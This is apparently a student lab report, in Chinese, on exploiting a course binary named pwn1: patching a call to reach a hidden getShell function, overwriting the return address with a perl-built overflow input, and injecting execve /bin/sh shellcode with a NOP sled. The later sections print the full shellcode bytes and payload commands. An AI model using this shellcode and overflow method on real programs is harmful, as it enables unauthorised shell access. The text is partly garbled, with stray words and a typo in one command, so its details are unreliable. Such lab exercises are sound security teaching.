本次實踐的對象是一個名爲pwn1的linux可執行文件。該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。該程序同時包含另外一個代碼段,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。
三個實踐內容以下:linux
注入一個本身製做的shellcode並運行這段shellcode。shell
NOP
:NOP
指令即「空指令」。執行到NOP
指令時,CPU什麼也不作,僅僅當作一個指令執行過去並繼續執行NOP
後面的一條指令。
JNE
:條件轉移指令,若是不相等則跳轉。
JE
:條件轉移指令,若是相等則跳轉。
JMP
:無條件轉移指令。段內直接短轉Jmp short
段內直接近轉移Jmp near
段內間接轉移Jmp word
( 段間直接(遠)轉移Jmp far
CMP
:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。函數
建立學號文件夾:
使用 objdump -d pwn20165235_1
將pwn20165235_1反彙編,獲得如下代碼:
80484b5: e8 d7 ff ff ff call 8048491 <foo>
這條彙編指令,e
8表示「call」
,在main函數中調用位於地址8048491
處的foo函數。若是想函數調用getShell,只須要修改d7 ff ff ff
便可。根據foo函數與getShell地址的偏移量,咱們計算出應該改成c3 ff ff ff
。
具體步驟以下:學習
vi pwn20165235_1
進入命令模式%!xxd
將顯示模式切換爲十六進制/e8d7
定位須要修改的地方,並確認d7
爲c3
%!xxd -r
將十六進制轉換爲原格式使用:wq
保存並退出設計
運行修改後的代碼:
3d
使用gdb進行調試,當輸入爲如下字符時發生段錯誤,產生溢出:
查看寄存器裏面的數據(eip的值爲ASCII的5,即在輸入字符串的「5」的部分發生溢出):
調試
輸入字符串1111111122222222333333334444444455555555
,5555
會覆蓋到堆棧上的返回地址,CPU會這個代碼。只要把這四個字符替換爲 getShell 的內存地址,輸給pwn20165235_2,pwn1就會運行getShell。(由反彙編結果可知getShell的內存地址爲:0804847d)。code
使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
命令構造文件。而後使用指令(cat input ) | ./pwn20165235_2 運行程序:
對象
首先使用apt-get install execstack
命令安裝execstack
。
輸入圖上所示的指令,關閉地址隨機化:
在shellcode前填充nop的機器碼90,最前面加上加上返回地址(先定義爲\x4\x3\x2\x1
):blog
perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
咱們還不知到在\x4\x3\x2\x1
充填什麼數據,接下來的操做會找出這塊數據:
首先在一個shell上運行pwn20165235_3((cat input ) | ./pwn20165235_3)
.而後再打開另外一個shell,使用指令:ps ef | grep pwn20165235_3
,查看運行中的pwn20165235
所佔用的端口號
查看完端口號在這個shell下打開gdb調試:
設置斷點,來查看注入buf的內存地址,使用break *0x080484ae
設置斷點,查看並輸入c
繼續運行。打開運行pwn20165235_3的shell,按下回車,返回調試gdb的shell界面。使用info r esp
查找地址。
使用x/16x 0xffffd35c
查看其存放內容,看到了01020304
,就是返回地址的位置。
根據咱們構造的input_shellcode可知,shellcode就在其後,因此地址是 0xffffd35c + 0x4=0xffffd360。接下來只須要將以前的\x4\x3\x2\x1改成這個地址便可:
perl -e 'print "A" x 32;printt"\x60\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
再執行程序,攻擊成功:
在運行第三個實驗時出現段錯誤:
解決方法:在計算shellcode的地址時計算出錯(加0x4計算失誤)。
我認爲漏洞的種類有不少,一些事是在程序設計時的邏輯漏洞,好比緩衝區溢出,因爲沒有考慮到輸入超出棧分配的空間的狀況,被攻擊者利用。還有一些漏洞是因爲硬件的緣由或者是協議的緣由。還有一些漏洞多是人爲的,好比一些後門。他人能夠利用這些漏洞未受權的訪問計算機,任意的對文件進行操做或者是讀取。
經過本次的實驗,掌握了反彙編以及機器指令的修改。其實在課堂上並無掌握這些知識,只是知道大概怎麼作而已。通過本身不斷地實踐操做,借鑑學長學學姐的實驗指導,對緩衝區溢出攻擊,堆棧是如何被惡意代碼覆蓋的有了足夠的掌握。